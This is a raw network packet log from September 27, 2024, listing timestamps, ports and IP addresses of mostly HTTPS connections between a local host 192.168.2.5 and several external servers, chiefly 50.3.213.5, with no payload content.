Sep 27, 2024 05:50:40.339293003 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.340312004 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.340322018 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.345283031 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.345340014 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.345408916 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.345675945 CEST	49762	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.345696926 CEST	443	49762	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.352535963 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.363394976 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.368030071 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.368037939 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.375349045 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.375555992 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.375571966 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.376554966 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.376617908 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.376967907 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.377022028 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.377094984 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.378865004 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.379038095 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.379057884 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.380052090 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.380115986 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.380608082 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.380669117 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.380711079 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.383125067 CEST	80	49751	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:40.397193909 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.397401094 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.397444010 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.399462938 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.399794102 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.399811983 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.401078939 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.401155949 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.401397943 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.401470900 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.401608944 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.401777029 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.402003050 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.402079105 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.402143002 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.402158976 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.402184963 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.402196884 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.409096003 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.409286976 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.409303904 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.410703897 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.410773993 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.411720037 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.411844015 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.411854029 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.411886930 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.413836002 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.419411898 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.427434921 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.429306984 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.429321051 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.429579973 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.429609060 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.429631948 CEST	49751	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:40.449599981 CEST	80	49754	180.101.212.103	192.168.2.5
Sep 27, 2024 05:50:40.452596903 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.452603102 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.452621937 CEST	443	49759	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:40.452658892 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.483004093 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.483002901 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.498385906 CEST	49754	80	192.168.2.5	180.101.212.103
Sep 27, 2024 05:50:40.498394966 CEST	49759	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:40.537359953 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.538717985 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.538798094 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.539952040 CEST	49755	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.539967060 CEST	443	49755	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.540410042 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.540458918 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.540529966 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.541114092 CEST	49763	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.541136980 CEST	443	49763	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.551430941 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.551465034 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.551475048 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.551491976 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.551521063 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.551527023 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.551551104 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.551573038 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.551615953 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.560275078 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560298920 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560307026 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560318947 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560326099 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560333967 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560349941 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.560365915 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560375929 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.560400963 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.571633101 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.571685076 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.571707010 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.571715117 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.572230101 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.576829910 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.576852083 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.576879978 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.576881886 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.576898098 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.576942921 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.612010956 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.612030983 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.612036943 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.612047911 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.612055063 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.612061024 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.612118006 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.612164021 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.612210035 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.624360085 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.624377012 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.624448061 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.624455929 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.633871078 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.633881092 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.633913040 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.633939981 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.633944035 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.633960962 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.633996964 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.641393900 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641415119 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641427040 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641436100 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641448975 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641450882 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641463995 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641484976 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641485929 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.641489029 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641510010 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641607046 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.641607046 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.641614914 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.641634941 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641639948 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.641707897 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.645872116 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.645895958 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.645947933 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.645966053 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.646025896 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.646025896 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.664649963 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.680736065 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.684007883 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.684051991 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.684103966 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.684132099 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.684165955 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.684189081 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.687495947 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.687537909 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.687582016 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.687588930 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.687632084 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.689657927 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.689697981 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.689728022 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.689734936 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.689779043 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.694320917 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.694329977 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.694365978 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.694386005 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.694396973 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.694403887 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.694438934 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.697227955 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.697257996 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.697319031 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.697345972 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.697727919 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.698606014 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.698652983 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.698713064 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.698736906 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.698756933 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.698793888 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.700870991 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.700886965 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.700936079 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.700953007 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.700987101 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.701005936 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.709072113 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.709086895 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.709146023 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.709153891 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.709194899 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.711560965 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.711570978 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.711605072 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.711626053 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.711703062 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.711715937 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.711745977 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.711777925 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.713476896 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.713521957 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.713555098 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.713570118 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.713603020 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.713629007 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.719106913 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.719122887 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.719218969 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.719230890 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.719276905 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.723633051 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.723651886 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.723736048 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.723747969 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.723793983 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.727510929 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.727525949 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.727641106 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.727654934 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.727705002 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.731509924 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.731533051 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.731590986 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.731602907 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.731647968 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.733397007 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.733457088 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.733474970 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.733484983 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.733517885 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.733537912 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.761519909 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.761548042 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.761667967 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.761683941 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.765767097 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.768887043 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:40.768918037 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:40.769179106 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:40.770210981 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.770255089 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.770308018 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.770315886 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.770571947 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.771069050 CEST	49764	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:40.771079063 CEST	443	49764	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:40.772660017 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.772702932 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.772731066 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.772742033 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.772825956 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.776191950 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.776232958 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.776268959 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.776276112 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.776328087 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.785974026 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.785995007 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.786091089 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.786117077 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.786185980 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.789176941 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.789196968 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.789294004 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.789300919 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.789345980 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.789405107 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.789432049 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.789484978 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.789490938 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.789521933 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.792695999 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.792710066 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.792781115 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.792788029 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.792831898 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.795737982 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.795759916 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.795880079 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.795897007 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.796139002 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.796596050 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.796622038 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.796686888 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.796696901 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.796731949 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.796766996 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.799117088 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.799132109 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.799238920 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.799245119 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.799475908 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.804095984 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.804128885 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.804189920 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.804200888 CEST	443	49756	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.804231882 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.804269075 CEST	49756	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.804929018 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.804955959 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.804995060 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.805039883 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.805054903 CEST	443	49758	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.805483103 CEST	49758	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.807761908 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.807806969 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.807881117 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.807888985 CEST	443	49752	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.807933092 CEST	49752	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.811168909 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.811189890 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.811261892 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.811275005 CEST	443	49757	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.811320066 CEST	49757	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.812007904 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.812031031 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.812092066 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.812098980 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.812134981 CEST	49753	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:40.815294027 CEST	443	49753	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:40.815309048 CEST	443	49753	50.3.213.5	192.168.2.5
